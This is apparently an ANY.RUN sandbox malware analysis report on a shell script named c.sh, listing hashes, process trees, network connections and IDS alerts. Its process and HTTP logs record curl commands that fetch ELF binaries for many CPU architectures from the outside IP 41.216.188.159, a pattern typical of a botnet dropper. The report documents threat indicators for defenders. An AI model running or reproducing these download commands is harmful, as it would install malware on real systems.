File name:

c.sh

Full analysis: https://app.any.run/tasks/3adc5651-dc01-4284-aa2d-5d300fcff7f1
Verdict: Malicious activity
Analysis date: June 21, 2025, 21:51:52
OS: Ubuntu 22.04.2
MIME: text/plain
File info: ASCII text, with CRLF line terminators
MD5:

EDE2DEC64B8D766D60AEEBFF2A4ABE26

SHA1:

720F027EA62F6903E46380E6AF1422713D69146A

SHA256:

EA027BA3065DFC1E5F70F7207BF1BAC9E9BA42751235C0A5734E825DB25F036E

SSDEEP:

24:3J3UJJbzB5JJbTUJJbxNIIhJJbdKSOJJbjTkJJbTkJJbpl9IJJbf93JJbDq5JJby:WXB5Hg5hRxOHTQnQb9U79LXq5n/QlbFD

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    No malicious indicators.

  • SUSPICIOUS

    • Executes commands using command-line interpreter

      • sudo (PID: 41399)
      • bash (PID: 41400)

    • Modifies file or directory owner

      • sudo (PID: 41396)

    • Reads passwd file

      • dumpe2fs (PID: 41428)
      • dumpe2fs (PID: 41439)
      • curl (PID: 41470)
      • curl (PID: 41402)
      • curl (PID: 41442)
      • curl (PID: 41499)
      • curl (PID: 41524)
      • curl (PID: 41554)
      • curl (PID: 41580)
      • curl (PID: 41635)
      • curl (PID: 41607)
      • curl (PID: 41689)
      • curl (PID: 41663)
      • curl (PID: 41715)

    • Check the Environment Variables Related to System Identification (os-release)

      • curl (PID: 41402)
      • curl (PID: 41442)
      • curl (PID: 41470)
      • curl (PID: 41499)
      • curl (PID: 41524)
      • curl (PID: 41554)
      • curl (PID: 41580)
      • curl (PID: 41663)
      • curl (PID: 41715)
      • curl (PID: 41607)
      • curl (PID: 41689)
      • curl (PID: 41635)

    • Potential Corporate Privacy Violation

      • curl (PID: 41554)
      • curl (PID: 41524)
      • curl (PID: 41607)
      • curl (PID: 41689)
      • curl (PID: 41442)
      • curl (PID: 41499)
      • curl (PID: 41663)
      • curl (PID: 41580)

  • INFO

    • Checks timezone

      • dumpe2fs (PID: 41428)
      • dumpe2fs (PID: 41439)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
215
Monitored processes
81
Malicious processes
2
Suspicious processes
9

Behavior graph

Click at the process to see the details
dash no specs sudo no specs chown no specs chmod no specs sudo no specs bash no specs locale-check no specs curl snap-seccomp no specs snap-confine no specs dumpe2fs no specs snap-update-ns no specs dumpe2fs no specs chmod no specs bash no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs

Process information

PID
CMD
Path
Indicators
Parent process
41395/bin/sh -c "sudo chown user /tmp/c\.sh && chmod +x /tmp/c\.sh && DISPLAY=:0 sudo -iu user /tmp/c\.sh "/usr/bin/dash—UbvyYXL4x2mYa65Q
User:
root
Integrity Level:
UNKNOWN
Exit code:
32512
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41396sudo chown user /tmp/c.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
41397chown user /tmp/c.sh/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41398chmod +x /tmp/c.sh/usr/bin/chmod—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41399sudo -iu user /tmp/c.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
32512
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
41400-bash --login -c \/tmp\/c\.sh/usr/bin/bash—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
32512
Modules
Images
/usr/lib/x86_64-linux-gnu/libtinfo.so.6.3
/usr/lib/x86_64-linux-gnu/libc.so.6
41401/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41402/snap/curl/1754/bin/curl http://41.216.188.159/main_arm/snap/curl/1754/bin/curl
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
14336
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libpthread.so.0
/usr/lib/x86_64-linux-gnu/libudev.so.1.7.2
/usr/lib/x86_64-linux-gnu/libdl.so.2
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/snap/curl/1754/lib/libcurl.so.4.8.0
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
/usr/lib/x86_64-linux-gnu/libpthread-2.31.so
/snap/curl/1754/usr/lib/x86_64-linux-gnu/libnghttp2.so.14.19.0
/snap/curl/1754/usr/lib/x86_64-linux-gnu/libidn2.so.0.3.6
41419/snap/snapd/20290/usr/lib/snapd/snap-seccomp version-info/snap/snapd/20290/usr/lib/snapd/snap-seccomp—curl
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libpthread.so.0
/usr/lib/x86_64-linux-gnu/libc.so.6
41427/snap/snapd/20290/usr/lib/snapd/snap-confine --base core20 snap.curl.curl /usr/lib/snapd/snap-exec curl http://41.216.188.159/main_arm/snap/snapd/20290/usr/lib/snapd/snap-confine—curl
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Executable files
0
Suspicious files
0
Text files
0
Unknown types
0

Dropped files

No data
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
11
TCP/UDP connections
24
DNS requests
13
Threats
18

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
204
91.189.91.97:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
41499
curl
GET
200
41.216.188.159:80
http://41.216.188.159/main_arm7
unknown
—
—
unknown
41524
curl
GET
200
41.216.188.159:80
http://41.216.188.159/main_sh4
unknown
—
—
unknown
41554
curl
GET
200
41.216.188.159:80
http://41.216.188.159/main_ppc
unknown
—
—
unknown
41607
curl
GET
200
41.216.188.159:80
http://41.216.188.159/main_mpsl
unknown
—
—
unknown
41580
curl
GET
200
41.216.188.159:80
http://41.216.188.159/main_mips
unknown
—
—
unknown
41442
curl
GET
200
41.216.188.159:80
http://41.216.188.159/main_arm5
unknown
—
—
unknown
41663
curl
GET
200
41.216.188.159:80
http://41.216.188.159/main_x86_64
unknown
—
—
unknown
41635
curl
GET
404
41.216.188.159:80
http://41.216.188.159/main_sparc
unknown
—
—
unknown
41715
curl
GET
404
41.216.188.159:80
http://41.216.188.159/main_i586
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
91.189.91.49:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
whitelisted
—
—
91.189.91.97:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
whitelisted
484
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
—
—
207.211.211.26:443
odrs.gnome.org
—
US
whitelisted
—
—
185.125.188.58:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
512
snapd
185.125.188.58:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
512
snapd
185.125.188.57:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
512
snapd
185.125.188.59:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
41402
curl
41.216.188.159:80
—
Private-Hosting di Cipriano oscar
DE
unknown
41442
curl
41.216.188.159:80
—
Private-Hosting di Cipriano oscar
DE
unknown

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 2001:67c:1562::24
  • 2620:2d:4000:1::22
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::97
  • 2620:2d:4000:1::2b
  • 2620:2d:4002:1::197
  • 2620:2d:4000:1::23
  • 2001:67c:1562::23
  • 2620:2d:4002:1::196
  • 2620:2d:4000:1::2a
  • 2620:2d:4000:1::96
  • 2620:2d:4000:1::98
  • 91.189.91.97
  • 91.189.91.96
  • 185.125.190.98
  • 91.189.91.49
  • 91.189.91.98
  • 185.125.190.48
  • 185.125.190.96
  • 185.125.190.49
  • 185.125.190.17
  • 185.125.190.18
  • 91.189.91.48
  • 185.125.190.97
whitelisted
google.com
  • 142.250.185.174
  • 2a00:1450:4001:830::200e
whitelisted
odrs.gnome.org
  • 207.211.211.26
  • 169.150.255.184
  • 195.181.170.18
  • 169.150.255.180
  • 212.102.56.179
  • 37.19.194.80
  • 195.181.175.40
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::101
  • 2a02:6ea0:c700::18
  • 2a02:6ea0:c700::112
  • 2a02:6ea0:c700::21
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c700::107
whitelisted
api.snapcraft.io
  • 185.125.188.58
  • 185.125.188.54
  • 185.125.188.57
  • 185.125.188.59
  • 2620:2d:4000:1010::42
  • 2620:2d:4000:1010::117
  • 2620:2d:4000:1010::2e6
  • 2620:2d:4000:1010::344
whitelisted
8.100.168.192.in-addr.arpa
  • —
unknown

Threats

PID
Process
Class
Message
41442
curl
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
41442
curl
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
41499
curl
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
41499
curl
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
41524
curl
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
41524
curl
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
41554
curl
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
41580
curl
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
41554
curl
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
41580
curl
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
No debug info